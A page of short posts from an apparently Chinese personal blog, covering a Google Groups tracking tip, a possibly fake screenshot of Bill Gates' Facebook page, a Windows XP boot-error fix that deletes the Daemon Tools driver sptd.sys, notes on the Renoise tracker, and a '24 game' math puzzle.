加入了很多个Google Groups参与了很多讨论,但是并不能随时跟踪相关的条目。这里写一个技巧。随便找到自己在Google Groups上的一个帖子,点击自己名字旁边的View Profile,然后点击最近讨论主题列表下面的Show All>>,把这个地址保存到收藏夹。
小技巧,大家不要鄙视我。
Posted
archive
Bill Gates在Facebook上出现过一段时间,好事者把它的页面截了个图。
但是Bill Gates的邮箱就暴露了:
billg@microsoft.com
网上搜索了下,发现Bill用这个邮箱很久了,而且每天收到的垃圾邮件是 4 million,400w封!不知道他老人家是不是用Live hotmail来处理的邮件 -_-!
顺便惊讶的发现Bill Gates在多个M$的Newsgroup上面露过面。看来名人也是正常人啊,也要玩USENET、youtube和facebook。不过名人一般都是马甲无数了
不知道Bill在Bill & Melinda Gates Foundation里会不会继续用这个Email地址
Update: 去Digg验证了下,发现这个截图有可能是fake的
首先是拼写错误,Beatles,Bill不会把这个拼错的 -_-!
当然马上有人站出来反驳说:他不会去花赚几千美元的一秒种来改正这个错误 -_-!
Posted
archive
一大清早起来,开机,结果Windows XP SP2刚启动就:
Windows could not start because of an error in the software.
please report this problem as:
Loader error 3.
please contact your support person to report this problem
这是非常囧的情况。
安全模式 和 带网络连接的安全模式 可以进入,但是 正常模式 和 最后一次正确的配置 模式都不能进入系统。
想到网上去Google答案,但是在安全模式下不能启动Telephony服务,于是也不能PPPoE上网。万恶的微软设计啊~~~想起了我的Leopard双系统,发现Leopard居然说我网线没插好……而且PPPoE也不能拨号。
系统恢复盘也忘记刻了,所以只有艰苦奋斗双手解决了
发现启动的时候可以带日志启动。启动失败,进入安全模式,找到了这个记录:
事件来源:sptd
驱动程序为 在其数据结构中检测到了一个内部错误。
万分囧的发现是SPTD驱动出错了,SPTD是Daemon Tools的虚拟光驱驱动程序,于是到 system32\drivers 下删除 sptd.sys
重启,OK了。
DaemonTools官方也给出了一个解决方案,懒得看了,直接重装最新版DaemonTools了事
Solution in English:
delete system32\drivers\sptd.sys, reboot & it’s OK
Contact Daemon Tools for more information
Posted
archive
最近……最近非常郁闷。家里一个劲的给我讲形势,叫我考研。弄得我啥子都不想做,到处乱逛,发现了CSK对MOD Music一篇介绍贴,有点老了,但是突然引起了我的兴趣,于是wikipedia, Google逛了一圈,开始研究Renoise这个tracker
化了半天研究Renoise文档,基本操作会了。玩起来很high。可怜我音乐细胞不够发达,还不能自己画曲子出来。目前把上学期钢琴课的几首曲子录制成了XRNS格式,不过volume和effects一点都没有调。相信以后一定要MOD一点曲子出来玩玩的。
于是非常想去买一个MIDI键盘(查了下最入门的都1k2多大洋),但是又想买把古典吉他……对于我这种穷人+补考大户,可能最多YY一下,然后用电脑键盘+鼠标消遣了。
Renoise非常容易上手,界面美观,功能非常强大,社区及其活跃。接下来准备把中国古典名曲给track出来。如果有条件的话用actionscript3实现一个XRNS Synthesizer,哇咔咔~~当然这只是一个美好的愿望罢了。还是重修和做Web要紧
Posted
archive
网上看到一个题:算24 这个游戏大家都做过吧?
这里出一个BT级别的:
0, 0, 0, 0 四个0用大学数学的函数、运算符算24
这里可以看到答案
——————————————————-
Update:这里有一个更加强大的算法,任意4个非虚数通过一定运算可以得到24.。例如 a, b, c, d
( a’! + b’! + c’! + d’! )!=24
这里 ‘ 表示求导;! 表示阶乘,无敌了无敌了~~~呵呵
Posted
archive